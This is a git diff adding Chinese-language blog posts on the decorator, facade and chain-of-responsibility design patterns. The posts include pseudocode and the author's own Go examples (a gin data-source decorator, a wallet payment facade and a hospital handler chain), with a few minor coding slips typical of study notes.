装饰可以改变组件接口所定义的操作。 +interface DataSource is + method writeData(data) + method readData():data + +// 具体组件提供操作的默认实现。这些类在程序中可能会有几个变体。 +class FileDataSource implements DataSource is + constructor FileDataSource(filename) { ... } + + method writeData(data) is + // 将数据写入文件。 + + method readData():data is + // 从文件读取数据。 + + +// 装饰基类和其他组件遵循相同的接口。该类的主要任务是定义所有具体装饰的封 +// 装接口。封装的默认实现代码中可能会包含一个保存被封装组件的成员变量,并 +// 且负责对其进行初始化。 +class DataSourceDecorator implements DataSource is + protected field wrappee: DataSource + + constructor DataSourceDecorator(source: DataSource) is + wrappee = source + + // 装饰基类会直接将所有工作分派给被封装组件。具体装饰中则可以新增一些 + // 额外的行为。 + method writeData(data) is + wrappee.writeData(data) + + // 具体装饰可调用其父类的操作实现,而不是直接调用被封装对象。这种方式 + // 可简化装饰类的扩展工作。 + method readData():data is + return wrappee.readData() + + + +/ 具体装饰必须在被封装对象上调用方法,不过也可以自行在结果中添加一些内容。 +// 装饰必须在调用封装对象之前或之后执行额外的行为。 +class EncryptionDecorator extends DataSourceDecorator is + method writeData(data) is + // 1. 对传递数据进行加密。 + // 2. 将加密后数据传递给被封装对象 writeData(写入数据)方法。 + + method readData():data is + // 1. 通过被封装对象的 readData(读取数据)方法获取数据。 + // 2. 如果数据被加密就尝试解密。 + // 3. 返回结果。 + + // 可以将对象封装在多层装饰中。 +class CompressionDecorator extends DataSourceDecorator is + method writeData(data) is + // 1. 压缩传递数据。 + // 2. 将压缩后数据传递给被封装对象 writeData(写入数据)方法。 + + method readData():data is + // 1. 通过被封装对象的 readData(读取数据)方法获取数据。 + // 2. 如果数据被压缩就尝试解压。 + // 3. 返回结果。 + +// 选项 1:装饰组件的简单示例 +class Application is + method dumbUsageExample() is + source = new FileDataSource("somefile.dat") + source.writeData(salaryRecords) + // 已将明码数据写入目标文件。 + + source = new CompressionDecorator(source) + source.writeData(salaryRecords) + // 已将压缩数据写入目标文件。 + + source = new EncryptionDecorator(source) + // 源变量中现在包含: + // Encryption > Compression > FileDataSource + source.writeData(salaryRecords) + // 已将压缩且加密的数据写入目标文件。 + +// 选项 1:装饰组件的简单示例 +class Application is + method dumbUsageExample() is + source = new FileDataSource("somefile.dat") + source.writeData(salaryRecords) + // 已将明码数据写入目标文件。 + + source = new CompressionDecorator(source) + source.writeData(salaryRecords) + // 已将压缩数据写入目标文件。 + + source = new EncryptionDecorator(source) + // 源变量中现在包含: + // Encryption > Compression > FileDataSource + source.writeData(salaryRecords) + // 已将压缩且加密的数据写入目标文件。 +``` + +``` + +// 选项 2:客户端使用外部数据源。SalaryManager(工资管理器)对象并不关心 +// 数据如何存储。它们会与提前配置好的数据源进行交互,数据源则是通过程序配 +// 置器获取的。 +class SalaryManager is + field source: DataSource + + constructor SalaryManager(source: DataSource) { ... } + + method load() is + return source.readData() + + method save() is + source.writeData(salaryRecords) + // ...其他有用的方法... + + +// 程序可在运行时根据配置或环境组装不同的装饰堆桟。 +class ApplicationConfigurator is + method configurationExample() is + source = new FileDataSource("salary.dat") + if (enabledEncryption) + source = new EncryptionDecorator(source) + if (enabledCompression) + source = new CompressionDecorator(source) + + logger = new SalaryManager(source) + salary = logger.load() + // ... +``` + +### 应用场景 + + 如果希望在无需修改代码的情况下即可使用对象, 且希望在运行时为对象新增额外的行为, 可以使用装饰模式。 + + 装饰能将业务逻辑组织为层次结构, 可为各层创建一个装饰, 在运行时将各种不同逻辑组合成对象。 由于这些对象都遵循通用接口, 客户端代码能以相同的方式使用这些对象。 + + 如果用继承来扩展对象行为的方案难以实现或者根本不可行, 可以使用该模式。 + + 许多编程语言使用 `final`最终关键字来限制对某个类的进一步扩展。 复用最终类已有行为的唯一方法是使用装饰模式: 用封装器对其进行封装。 + +### 实现方式 + +1. 确保业务逻辑可用一个基本组件及多个额外可选层次表示。 +2. 找出基本组件和可选层次的通用方法。 创建一个组件接口并在其中声明这些方法。 +3. 创建一个具体组件类, 并定义其基础行为。 +4. 创建装饰基类, 使用一个成员变量存储指向被封装对象的引用。 该成员变量必须被声明为组件接口类型, 从而能在运行时连接具体组件和装饰。 装饰基类必须将所有工作委派给被封装的对象。 +5. 确保所有类实现组件接口。 +6. 将装饰基类扩展为具体装饰。 具体装饰必须在调用父类方法 (总是委派给被封装对象) 之前或之后执行自身的行为。 +7. 客户端代码负责创建装饰并将其组合成客户端所需的形式。 + +### go语言实现 + +``` +package main +import "fmt" + +type pizza interface { + getPrice() int +} + +type veggeMania struct { +} + +func (p *veggeMania) getPrice() int { + return 15 +} + +type tomatoTopping struct { + pizza pizza +} +func (c *tomatoTopping) getPrice() int { + pizzaPrice := c.pizza.getPrice() + return pizzaPrice + 7 +} + +type cheeseTopping struct { + pizza pizza +} + +func (c *cheeseTopping) getPrice() int { + pizzaPrice := c.pizza.getPrice() + return pizzaPrice + 10 +} + +func main() { + + pizza := &veggeMania{} + + //Add cheese topping + pizzaWithCheese := &cheeseTopping{ + pizza: pizza, + } + + //Add tomato topping + pizzaWithCheeseAndTomato := &tomatoTopping{ + pizza: pizzaWithCheese, + } + + fmt.Printf("Price of veggeMania with tomato and cheese topping is %d\n", pizzaWithCheeseAndTomato.getPrice()) +} +``` + +``` +package main + +import ( + "fmt" + "github.com/gin-gonic/gin" +) + +//数据类 +type Data struct { + filePath string + fileName string + fileContent string +} + +type DataTransport interface { + //客户端从服务端获取到数据 + ReadData(c *gin.Context) + //客户端的数据写入服务端 + WriteData(c *gin.Context) +} + +//具体组件提供操作的默认实现。 +type ConcreteComponents struct { +} + +func (con *ConcreteComponents) ReadData(c *gin.Context) { + //从数据库取得数据的一系列操作 + d := Data{ + filePath: "Home/user/local", + fileName: "test.go", + fileContent: "Hello world", + } + c.JSON(200, gin.H{ + "data": d, + }) + +} +func (con *ConcreteComponents) WriteData(c *gin.Context) { + //从客户端获得数据 + var data Data + err := c.ShouldBindQuery(&data) + if err != nil { + c.JSON(400, gin.H{ + "err": "something wrong ", + }) + return + } else { + //写入数据库 + c.JSON(200, gin.H{ + "data": "data has write in DB", + }) + } +} + +//具体组件提供操作的默认实现。 +type EncryptAndDecryptDecorator struct { +} + +func (con *EncryptAndDecryptDecorator) ReadData(c *gin.Context) { + //从数据库取得数据的一系列操作 + d := Data{ + filePath: "Home/user/local", + fileName: "test.go", + fileContent: "Hello world", + } + + c.JSON(200, gin.H{ + //解密 + "msg": "data has been Decrypt", + "data": d, + }) + +} +func (con *EncryptAndDecryptDecorator) WriteData(c *gin.Context) { + //从数据库取得数据的一系列操作 + d := Data{ + filePath: "Home/user/local", + fileName: "test.go", + fileContent: "Hello world", + } + c.JSON(200, gin.H{ + //加密 + "msg": "Encrypted has write in DB ", + "data": d, + }) +} + +//装饰基类和其他组件遵循相同的接口。该类的主要任务是定义所有具体装饰的封装接口。封装的默认实现代码中可能会包含一个保存被封装组件的成员变量,并且负责对其进行初始化。 +type DecorativeBase struct { + //保存了默认的行为,在默认的行为上面可以增加其他的操作,而不会更改任何原来的默认行为 + //我这里只能把wrappee定义为接口类型,不能是定义 ConcreteComponents 结构体类型。 + //因为如果是结构体类型,那么我DecorativeBase调用ReadData()和)WriteData()方法时,就调用的是默认的行为,不能增加新的行为。 + //wrappee *ConcreteComponents 不可以 + wrappee DataTransport +} + +//装饰器当然也要实现 DataTransport 这个接口,因为它只有和 ConcreteComponents看起来一样(对于客户端而言)才能在已经有的行为上绑定新的行为,装饰器要做的就是把工作委派给ConcreteComponents +func (d *DecorativeBase) ReadData(c *gin.Context) { + d.wrappee.ReadData(c) +} + +func (d *DecorativeBase) WriteData(c *gin.Context) { + d.wrappee.WriteData(c) +} + +//新的行为2 压缩和解压缩 +type ZipAndUnZipDecorator struct { +} + +func (e *ZipAndUnZipDecorator) ReadData(c *gin.Context) { + //从数据库取得数据的一系列操作 + d := Data{ + filePath: "Home/user/local", + fileName: "test.go", + fileContent: "Hello world", + } + + c.JSON(200, gin.H{ + //解密 + "msg": "data has been Zip", + "data": d, + }) + +} +func (e *ZipAndUnZipDecorator) WriteData(c *gin.Context) { + //从数据库取得数据的一系列操作 + d := Data{ + filePath: "Home/user/local", + fileName: "test.go", + fileContent: "Hello world", + } + + c.JSON(200, gin.H{ + //解密 + "msg": "data has been Uzip", + "data", d, + }) + +} +func main() { + g := gin.New() + + //模拟用户端进行装饰的需求 + input := 0 + fmt.Scanf("%d", &input) + d := DecorativeBase{} + + if input == 1 { + //加密解密行为 + d.wrappee = &EncryptAndDecryptDecorator{} + + } + if input == 2 { + d.wrappee = &ZipAndUnZipDecorator{} + + } + + g.POST("/read", d.ReadData) + g.POST("/write", d.WriteData) + g.Run() + +} + +``` + diff --git a/_posts/2022-07-17-test-markdown.md b/_posts/2022-07-17-test-markdown.md new file mode 100644 index 000000000000..4a828e1068b5 --- /dev/null +++ b/_posts/2022-07-17-test-markdown.md @@ -0,0 +1,296 @@ +--- +layout: post +title: 外观模式 +subtitle: 亦称: Facade +tags: [设计模式] +--- +# 外观模式 + +**亦称:** Facade + +**外观模式**是一种结构型设计模式, 能为程序库、 框架或其他复杂类提供一个简单的接口。![外观设计模式](https://refactoringguru.cn/images/patterns/content/facade/facade.png) + +### 问题: + +假设必须在代码中使用某个复杂的库或框架中的众多对象。 正常情况下, 需要负责所有对象的初始化工作、 管理其依赖关系并按正确的顺序执行方法等。 + +最终, 程序中类的业务逻辑将与第三方类的实现细节紧密耦合, 使得理解和维护代码的工作很难进行。 + +### 解决: + +外观类为包含许多活动部件的复杂子系统提供一个简单的接口。 与直接调用子系统相比, 外观提供的功能可能比较有限, 但它却包含了客户端真正关心的功能。 + +例如, 上传猫咪搞笑短视频到社交媒体网站的应用可能会用到专业的视频转换库, 但它只需使用一个包含 `encode­(file­name, for­mat)`方法 (以文件名与文件格式为参数进行编码的方法) 的类即可。 在创建这个类并将其连接到视频转换库后, 就拥有了自己的第一个外观。 + +![电话购物的示例](https://refactoringguru.cn/images/patterns/diagrams/facade/live-example-zh.png) + +当通过电话给商店下达订单时, 接线员就是该商店的所有服务和部门的外观。 接线员为提供了一个同购物系统、 支付网关和各种送货服务进行互动的简单语音接口。 + +![电话购物的示例](https://refactoringguru.cn/images/patterns/diagrams/facade/live-example-zh.png) + +### 外观模式结构 + +![外观设计模式的结构](https://refactoringguru.cn/images/patterns/diagrams/facade/structure-indexed.png) + +**外观** (Facade) 提供了一种访问特定子系统功能的便捷方式, 其了解如何重定向客户端请求, 知晓如何操作一切活动部件。 + +创建**附加外观** (Addi­tion­al Facade) 类可以避免多种不相关的功能污染单一外观, 使其变成又一个复杂结构。 客户端和其他外观都可使用附加外观。 + +**复杂子系统** (Com­plex Sub­sys­tem) 由数十个不同对象构成。 如果要用这些对象完成有意义的工作, 必须深入了解子系统的实现细节, 比如按照正确顺序初始化对象和为其提供正确格式的数据。 + +子系统类不会意识到外观的存在, 它们在系统内运作并且相互之间可直接进行交互。 + +**客户端** (Client) 使用外观代替对子系统对象的直接调用。 + +![外观模式示例的结构](https://refactoringguru.cn/images/patterns/diagrams/facade/example.png) + +使用单个外观类隔离多重依赖的示例 + +可以创建一个封装所需功能并隐藏其他代码的外观类, 从而无需使全部代码直接与数十个框架类进行交互。 该结构还能将未来框架升级或更换所造成的影响最小化, 因为只需修改程序中外观方法的实现即可。 + +``` +// 这里有复杂第三方视频转换框架中的一些类。我们不知晓其中的代码,因此无法 +// 对其进行简化 +class VideoFile +// ... + +class OggCompressionCodec +// ... + +class MPEG4CompressionCodec +// ... + +class CodecFactory +// ... + +class BitrateReader +// ... + +class AudioMixer + +// 为了将框架的复杂性隐藏在一个简单接口背后,我们创建了一个外观类。它是在 +// 功能性和简洁性之间做出的权衡。 +class VideoConverter is + method convert(filename, format):File is + file = new VideoFile(filename) + sourceCodec = new CodecFactory.extract(file) + if (format == "mp4") + destinationCodec = new MPEG4CompressionCodec() + else + destinationCodec = new OggCompressionCodec() + buffer = BitrateReader.read(filename, sourceCodec) + result = BitrateReader.convert(buffer, destinationCodec) + result = (new AudioMixer()).fix(result) + return new File(result) + +// 应用程序的类并不依赖于复杂框架中成千上万的类。同样,如果决定更换框架, +// 那只需重写外观类即可。 +class Application is + method main() is + convertor = new VideoConverter() + mp4 = convertor.convert("funny-cats-video.ogg", "mp4") + mp4.save() +``` + +### 适合场景 + +- **如果需要一个指向复杂子系统的直接接口****,** **且该接口的功能有限****,** **则可以使用外观模式****。 +- **如果需要将子系统组织为多层结构****,** **可以使用外观****。** +- 创建外观来定义子系统中各层次的入口。 可以要求子系统仅使用外观来进行交互, 以减少子系统之间的耦合。 +- 让我们回到视频转换框架的例子。 该框架可以拆分为两个层次: 音频相关和视频相关。 可以为每个层次创建一个外观, 然后要求各层的类必须通过这些外观进行交互。 这种方式看上去与[中介者]模式非常相似。 + +### 实现方式 + +- 考虑能否在现有子系统的基础上提供一个更简单的接口。 如果该接口能让客户端代码独立于众多子系统类, 那么的方向就是正确的。 +- 在一个新的外观类中声明并实现该接口。 外观应将客户端代码的调用重定向到子系统中的相应对象处。 如果客户端代码没有对子系统进行初始化, 也没有对其后续生命周期进行管理, 那么外观必须完成此类工作。 +- 如果要充分发挥这一模式的优势, 必须确保所有客户端代码仅通过外观来与子系统进行交互。 此后客户端代码将不会受到任何由子系统代码修改而造成的影响, 比如子系统升级后, 只需修改外观中的代码即可。 +- 如果外观变得过于臃肿 可以考虑将其部分行为抽取为一个新的专用外观类。 + +### 与其他模式的关系 + +- 外观模式为现有对象定义了一个新接口, 适配器模式]则会试图运用已有的接口。 *适配器*通常只封装一个对象, *外观*通常会作用于整个对象子系统上。 +- 当只需对客户端代码隐藏子系统创建对象的方式时, 可以使用抽象工厂模式来代替外观 +- 享元模式展示了如何生成大量的小型对象, 外观]则展示了如何用一个对象来代表整个子系统。 +- 外观和中介者的职责类似: 它们都尝试在大量紧密耦合的类中组织起合作。 + - *外观*为子系统中的所有对象定义了一个简单接口, 但是它不提供任何新功能。 子系统本身不会意识到外观的存在。 子系统中的对象可以直接进行交流。 + - *中介者*将系统中组件的沟通行为中心化。 各组件只知道中介者对象, 无法直接相互交流。 + +- [外观]类通常可以转换为单例模类, 因为在大部分情况下一个外观对象就足够了。 + +### go语言实现 + +人们很容易低估使用信用卡订购披萨时幕后工作的复杂程度。 在整个过程中会有不少的子系统发挥作用。 下面是其中的一部分: + +- 检查账户 +- 检查安全码 +- 借记/贷记余额 +- 账簿录入 +- 发送消息通知 + +在如此复杂的系统中, 可以说是一步错步步错, 很容易就会引发大的问题。 这就是为什么我们需要外观模式, 让客户端可以使用一个简单的接口来处理众多组件。 客户端只需要输入卡片详情、 安全码、 支付金额以及操作类型即可。 外观模式会与多种组件进一步地进行沟通, 而又不会向客户端暴露其内部的复杂性。 + +``` +package main + +import ( + "fmt" + "log" +) + +//复杂子系统1--检查账户 +type account struct { + name string +} + +func newAccount(accountName string) *account { + return &account{ + name: accountName, + } +} + +func (a *account) checkAccount(accountName string) error { + if a.name != accountName { + return fmt.Errorf("Account Name is incorrect") + } + fmt.Println("Account Verified") + return nil +} + +//复杂子系统2--检查安全码 +type securityCode struct { + code int +} + +func newSecurityCode(code int) *securityCode { + return &securityCode{ + code: code, + } +} + +func (s *securityCode) checkCode(incomingCode int) error { + if s.code != incomingCode { + return fmt.Errorf("Security Code is incorrect") + } + fmt.Println("SecurityCode Verified") + return nil +} + +//复杂子系统3--借记/贷记余额 +type wallet struct { + balance int +} + +func newWallet() *wallet { + return &wallet{ + balance: 0, + } +} + +func (w *wallet) creditBalance(amount int) { + w.balance += amount + fmt.Println("Wallet balance added successfully") + return +} + +func (w *wallet) debitBalance(amount int) error { + if w.balance < amount { + return fmt.Errorf("Balance is not sufficient") + } + fmt.Println("Wallet balance is Sufficient") + w.balance = w.balance - amount + return nil +} + +//复杂子系统4--账簿录入 +type ledger struct { +} + +func (s *ledger) makeEntry(accountID, txnType string, amount int) { + fmt.Printf("Make ledger entry for accountId %s with txnType %s for amount %d\n", accountID, txnType, amount) + return +} + +//复杂子系统5--发送消息通知 +type notification struct { +} + +func (n *notification) sendWalletCreditNotification() { + fmt.Println("Sending wallet credit notification") +} + +func (n *notification) sendWalletDebitNotification() { + fmt.Println("Sending wallet debit notification") +} + +//外观模式类 +type walletFacade struct { + account *account + wallet *wallet + securityCode *securityCode + notification *notification + ledger *ledger +} + +func newWalletFacade(accountID string, code int) *walletFacade { + fmt.Println("Starting create account") + walletFacacde := &walletFacade{ + account: newAccount(accountID), + securityCode: newSecurityCode(code), + wallet: newWallet(), + notification: ¬ification{}, + ledger: &ledger{}, + } + fmt.Println("Account created") + return walletFacacde +} +func (w *walletFacade) addMoneyToWallet(accountID string, securityCode int, amount int) error { + fmt.Println("Starting add money to wallet") + err := w.account.checkAccount(accountID) + if err != nil { + return err + } + err = w.securityCode.checkCode(securityCode) + if err != nil { + return err + } + w.wallet.creditBalance(amount) + w.notification.sendWalletCreditNotification() + w.ledger.makeEntry(accountID, "credit", amount) + return nil +} +func (w *walletFacade) deductMoneyFromWallet(accountID string, securityCode int, amount int) error { + fmt.Println("Starting debit money from wallet") + err := w.account.checkAccount(accountID) + if err != nil { + return err + } + + err = w.securityCode.checkCode(securityCode) + if err != nil { + return err + } + err = w.wallet.debitBalance(amount) + if err != nil { + return err + } + w.notification.sendWalletDebitNotification() + w.ledger.makeEntry(accountID, "credit", amount) + return nil +} + +func main() { + walletFacade := newWalletFacade("abc", 1234) + err := walletFacade.addMoneyToWallet("abc", 1234, 10) + if err != nil { + log.Fatalf("Error: %s\n", err.Error()) + } + fmt.Println() + err = walletFacade.deductMoneyFromWallet("abc", 1234, 5) + if err != nil { + log.Fatalf("Error: %s\n", err.Error()) + } + +} + +``` + diff --git a/_posts/2022-07-18-test-markdown.md b/_posts/2022-07-18-test-markdown.md new file mode 100644 index 000000000000..fc2758db210b --- /dev/null +++ b/_posts/2022-07-18-test-markdown.md @@ -0,0 +1,433 @@ +--- +layout: post +title: 责任链模式 +subtitle: 亦称: 职责链模式、命令链、CoR、Chain of Command、Chain of Responsibility +tags: [设计模式] +--- + +# 责任链模式 + +亦称: 职责链模式、命令链、CoR、Chain of Command、Chain of Responsibility + +![责任链设计模式](https://refactoringguru.cn/images/patterns/content/chain-of-responsibility/chain-of-responsibility.png) + +### 目的: + +**责任链模式**是一种行为设计模式, 允许将请求沿着处理者链进行发送。 收到请求后, 每个处理者均可对请求进行处理, 或将其传递给链上的下个处理者。 + +### 问题: + +假如正在开发一个在线订购系统。 希望对系统访问进行限制, 只允许认证用户创建订单。 此外, 拥有管理权限的用户也拥有所有订单的完全访问权限。 + +简单规划后, 会意识到这些检查必须依次进行。 只要接收到包含用户凭据的请求, 应用程序就可尝试对进入系统的用户进行认证。 但如果由于用户凭据不正确而导致认证失败, 那就没有必要进行后续检查了。 + +在接下来的几个月里, 实现了后续的几个检查步骤。 + +- 一位同事认为直接将原始数据传递给订购系统存在安全隐患。 因此新增了额外的验证步骤来清理请求中的数据。 +- 过了一段时间, 有人注意到系统无法抵御暴力密码破解方式的攻击。 为了防范这种情况, 立刻添加了一个检查步骤来过滤来自同一 IP 地址的重复错误请求。 +- 又有人提议可以对包含同样数据的重复请求返回缓存中的结果, 从而提高系统响应速度。 因此, 新增了一个检查步骤, 确保只有没有满足条件的缓存结果时请求才能通过并被发送给系统。 + +![每增加一个检查步骤,程序都变得更加臃肿、混乱和丑陋](https://refactoringguru.cn/images/patterns/diagrams/chain-of-responsibility/problem2-zh.png) + +检查代码本来就已经混乱不堪, 而每次新增功能都会使其更加臃肿。 修改某个检查步骤有时会影响其他的检查步骤。 最糟糕的是, 当希望复用这些检查步骤来保护其他系统组件时, 只能复制部分代码, 因为这些组件只需部分而非全部的检查步骤。 + +系统会变得让人非常费解, 而且其维护成本也会激增。 在艰难地和这些代码共处一段时间后, 有一天终于决定对整个系统进行重构。 + +### 解决: + +与许多其他行为设计模式一样, **责任链**会将特定行为转换为被称作*处理者*的独立对象。 在上述示例中, 每个检查步骤都可被抽取为仅有单个方法的类, 并执行检查操作。 请求及其数据则会被作为参数传递给该方法。 + +模式建议将这些处理者连成一条链。 链上的每个处理者都有一个成员变量来保存对于下一处理者的引用。 除了处理请求外, 处理者还负责沿着链传递请求。 请求会在链上移动, 直至所有处理者都有机会对其进行处理。 + +最重要的是: 处理者可以决定不再沿着链传递请求, 这可高效地取消所有后续处理步骤。 + +- 每个检查步骤都可被抽取为仅有单个方法的类, 并执行检查操作。 +- 请求及其数据则会被作为参数传递给该方法。 +- 每个处理者都有一个成员变量来保存对于下一处理者的引用。 +- 除了处理请求外, 处理者还负责沿着链传递请求。 请求会在链上移动。 + +在我们的订购系统示例中, 处理者会在进行请求处理工作后决定是否继续沿着链传递请求。 如果请求中包含正确的数据, 所有处理者都将执行自己的主要行为, 无论该行为是身份验证还是数据缓存。 + +![处理者依次排列,组成一条链](https://refactoringguru.cn/images/patterns/diagrams/chain-of-responsibility/solution1-zh.png) + +不过还有一种稍微不同的方式 (也是更经典一种), 那就是处理者接收到请求后自行决定是否能够对其进行处理。 如果自己能够处理, 处理者就不再继续传递请求。 因此在这种情况下, 每个请求要么最多有一个处理者对其进行处理, 要么没有任何处理者对其进行处理。 在处理图形用户界面元素栈中的事件时, 这种方式非常常见。 + +例如, 当用户点击按钮时, 按钮产生的事件将沿着 GUI 元素链进行传递, 最开始是按钮的容器 (如窗体或面板), 直至应用程序主窗口。 链上第一个能处理该事件的元素会对其进行处理。 此外, 该例还有另一个值得我们关注的地方: 它表明我们总能从对象树中抽取出链来。 + +![对象树的枝干可以组成一条链](https://refactoringguru.cn/images/patterns/diagrams/chain-of-responsibility/solution2-zh.png) + +所有处理者类均实现同一接口是关键所在。 每个具体处理者仅关心下一个包含 `exe­cute`执行方法的处理者。 这样一来, 就可以在运行时使用不同的处理者来创建链, 而无需将相关代码与处理者的具体类进行耦合。 + +- 使用不同的处理者来创建链。 +- 所有处理者类均实现同一接口。 +- 具体处理者仅关心下一个包含 `exe­cute`执行方法的处理者。 + +![与技术支持交谈可能不容易](https://refactoringguru.cn/images/patterns/content/chain-of-responsibility/chain-of-responsibility-comic-1-zh.png) + +最近, 刚为自己的电脑购买并安装了一个新的硬件设备。 身为一名极客, 显然在电脑上安装了多个操作系统, 所以会试着启动所有操作系统来确认其是否支持新的硬件设备。 Windows 检测到了该硬件设备并对其进行了自动启用。 但是喜爱的 Linux 系统并不支持新硬件设备。 抱着最后一点希望, 决定拨打包装盒上的技术支持电话。 + +首先会听到自动回复器的机器合成语音, 它提供了针对各种问题的九个常用解决方案, 但其中没有一个与遇到的问题相关。 过了一会儿, 机器人将转接到人工接听人员处。 + +这位接听人员同样无法提供任何具体的解决方案。 他不断地引用手册中冗长的内容, 并不会仔细聆听的回应。 在第 10 次听到 “是否关闭计算机后重新启动呢?” 这句话后, 要求与一位真正的工程师通话。 + +最后, 接听人员将的电话转接给了工程师, 他或许正缩在某幢办公大楼的阴暗地下室中, 坐在他所深爱的服务器机房里, 焦躁不安地期待着同一名真人交流。 工程师告诉了新硬件设备驱动程序的下载网址, 以及如何在 Linux 系统上进行安装。 问题终于解决了! 挂断了电话, 满心欢喜。 + +### 模式结构: + +![责任链设计模式的结构](https://refactoringguru.cn/images/patterns/diagrams/chain-of-responsibility/structure-indexed.png) + +- **处理者** (Han­dler) 声明了所有具体处理者的通用接口。 该接口通常仅包含单个方法用于请求处理, 但有时其还会包含一个设置链上下个处理者的方法。 + +- **基础处理者** (Base Han­dler) 是一个可选的类, 可以将所有处理者共用的样本代码放置在其中。 + + 通常情况下, 该类中定义了一个保存对于下个处理者引用的成员变量。 客户端可通过将处理者传递给上个处理者的构造函数或设定方法来创建链。 该类还可以实现默认的处理行为: 确定下个处理者存在后再将请求传递给它。 + +- **具体处理者** (Con­crete Han­dlers) 包含处理请求的实际代码。 每个处理者接收到请求后, 都必须决定是否进行处理, 以及是否沿着链传递请求。 +- 处理者通常是独立且不可变的, 需要通过构造函数一次性地获得所有必要地数据。 +- **客户端** (Client) 可根据程序逻辑一次性或者动态地生成链。 值得注意的是, 请求可发送给链上的任意一个处理者, 而非必须是第一个处理者。![责任链结构的示例](https://refactoringguru.cn/images/patterns/diagrams/chain-of-responsibility/example-zh.png) + +应用程序的 GUI 通常为对象树结构。 例如, 负责渲染程序主窗口的 `对话框`类就是对象树的根节点。 对话框包含 `面板` , 而面板可能包含其他面板, 或是 `按钮`和 `文本框`等下层元素。 + +只要给一个简单的组件指定帮助文本, 它就可显示简短的上下文提示。 但更复杂的组件可自定义上下文帮助文本的显示方式, 例如显示手册摘录内容或在浏览器中打开一个网页。 + +``` +// 处理者接口声明了一个创建处理者链的方法。还声明了一个执行请求的方法。 +interface ComponentWithContextualHelp is + method showHelp() + + +// 简单组件的基础类。 +abstract class Component implements ComponentWithContextualHelp is + field tooltipText: string + + // 组件容器在处理者链中作为“下一个”链接。 + protected field container: Container + + // 如果组件设定了帮助文字,那它将会显示提示信息。如果组件没有帮助文字 + // 且其容器存在,那它会将调用传递给容器。 + method showHelp() is + if (tooltipText != null) + // 显示提示信息。 + else + container.showHelp() + + +// 容器可以将简单组件和其他容器作为其子项目。链关系将在这里建立。该类将从 +// 其父类处继承 showHelp(显示帮助)的行为。 +abstract class Container extends Component is + protected field children: array of Component + + method add(child) is + children.add(child) + child.container = this + + +// 客户端代码。 +class Application is + // 每个程序都能以不同方式对链进行配置。 + method createUI() is + dialog = new Dialog("预算报告") + dialog.wikiPageURL = "http://..." + panel = new Panel(0, 0, 400, 800) + panel.modalHelpText = "本面板用于..." + ok = new Button(250, 760, 50, 20, "确认") + ok.tooltipText = "这是一个确认按钮..." + cancel = new Button(320, 760, 50, 20, "取消") + // ... + panel.add(ok) + panel.add(cancel) + dialog.add(panel) + + // 想象这里会发生什么。 + method onF1KeyPress() is + component = this.getComponentAtMouseCoords() + component.showHelp() +``` + +### 实现: + +- 声明处理者接口并描述请求处理方法的签名。 + + 确定客户端如何将请求数据传递给方法。 最灵活的方式是将请求转换为对象, 然后将其以参数的形式传递给处理函数。 + +- 为了在具体处理者中消除重复的样本代码, 可以根据处理者接口创建抽象处理者基类。 + + 该类需要有一个成员变量来存储指向链上下个处理者的引用。 可以将其设置为不可变类。 但如果打算在运行时对链进行改变, 则需要定义一个设定方法来修改引用成员变量的值。 + + 为了使用方便, 还可以实现处理方法的默认行为。 如果还有剩余对象, 该方法会将请求传递给下个对象。 具体处理者还能够通过调用父对象的方法来使用这一行为。 + +- 依次创建具体处理者子类并实现其处理方法。 每个处理者在接收到请求后都必须做出两个决定: + + - 是否自行处理这个请求。 + - 是否将该请求沿着链进行传递。 + +- 客户端可以自行组装链, 或者从其他对象处获得预先组装好的链。 在后一种情况下, 必须实现工厂类以根据配置或环境设置来创建链。 +- 客户端可以触发链中的任意处理者, 而不仅仅是第一个。 请求将通过链进行传递, 直至某个处理者拒绝继续传递, 或者请求到达链尾。 +- 由于链的动态性, 客户端需要准备好处理以下情况: + - 链中可能只有单个链接。 + - 部分请求可能无法到达链尾。 + - 其他请求可能直到链尾都未被处理。 + +### go语言实现 + +让我们来看看一个医院应用的责任链模式例子。 医院中会有多个部门, 如: + +- 前台 +- 医生 +- 药房 +- 收银 +- 病人来访时, 他们首先都会去前台, 然后是看医生、 取药, 最后结账。 也就是说, 病人需要通过一条部门链, 每个部门都在完成其职能后将病人进一步沿着链条输送。 +- 此模式适用于有多个候选选项处理相同请求的情形, 适用于不希望客户端选择接收者 (因为多个对象都可处理请求) 的情形, 还适用于想将客户端同接收者解耦时。 客户端只需要链中的首个元素即可。 + +``` +package main + +import ( + "fmt" +) + +//数据类 +type Context struct { + data map[string]string +} + +func (c *Context) Get(str string) string { + k, ok := c.data[str] + if ok { + return k + } + return "" +} + +func (c *Context) Set(key string, value string) { + c.data[key] = value +} + +//处理者统一实现的接口 +type HandlerInterface interface { + Handle(c Context) + SetNext(HandlerInterface) +} + +//处理者1 +type Reception struct { + nextHandler HandlerInterface +} + +func (r *Reception) SetNext(h HandlerInterface) { + r.nextHandler = h +} +func (r *Reception) Handle(c Context) { + //数据处理 + fmt.Println("data is", c.Get("need")) + c.Set("need", "Doctor") + fmt.Println("Reception has handle over") + r.SetNext(&Doctor{}) + if r.nextHandler != nil { + r.nextHandler.Handle(c) + } else { + fmt.Print("over") + } + +} + +//处理者2 +type Doctor struct { + nextHandler HandlerInterface +} + +func (r *Doctor) Handle(c Context) { + + //数据处理 + fmt.Println("data is", c.Get("need")) + c.Set("need", "Medical") + fmt.Println("Reception has handle over") + r.SetNext(&Medical{}) + if r.nextHandler != nil { + r.nextHandler.Handle(c) + } else { + fmt.Print("over") + } + +} +func (r *Doctor) SetNext(h HandlerInterface) { + r.nextHandler = h +} + +//处理者3 +type Medical struct { + nextHandler HandlerInterface +} + +func (r *Medical) Handle(c Context) { + //数据处理 + fmt.Println("data is", c.Get("need")) + c.Set("need", "CheckoutCounter") + fmt.Println("Reception has handle over") + r.SetNext(&CheckoutCounter{}) + if r.nextHandler != nil { + r.nextHandler.Handle(c) + } else { + fmt.Print("over") + } + +} +func (r *Medical) SetNext(h HandlerInterface) { + r.nextHandler = h +} + +//处理者4 +type CheckoutCounter struct { + nextHandler HandlerInterface +} + +func (r *CheckoutCounter) Handle(c Context) { + //数据处理 + fmt.Println("data is", c.Get("need")) + c.Set("need", "CheckoutCounter") + fmt.Println("Reception has handle over") + if r.nextHandler != nil { + r.nextHandler.Handle(c) + } else { + fmt.Print("over") + } + +} + +func (r *CheckoutCounter) SetNext(h HandlerInterface) { + r.nextHandler = h +} + +func main() { + c := Context{ + make(map[string]string), + } + //need -挂号看病 seeDoctor need -复诊FollowUp need -缴费 PayFee + c.data["need"] = "seeDoctor" + + r := Reception{} + r.Handle(c) + +} + +``` 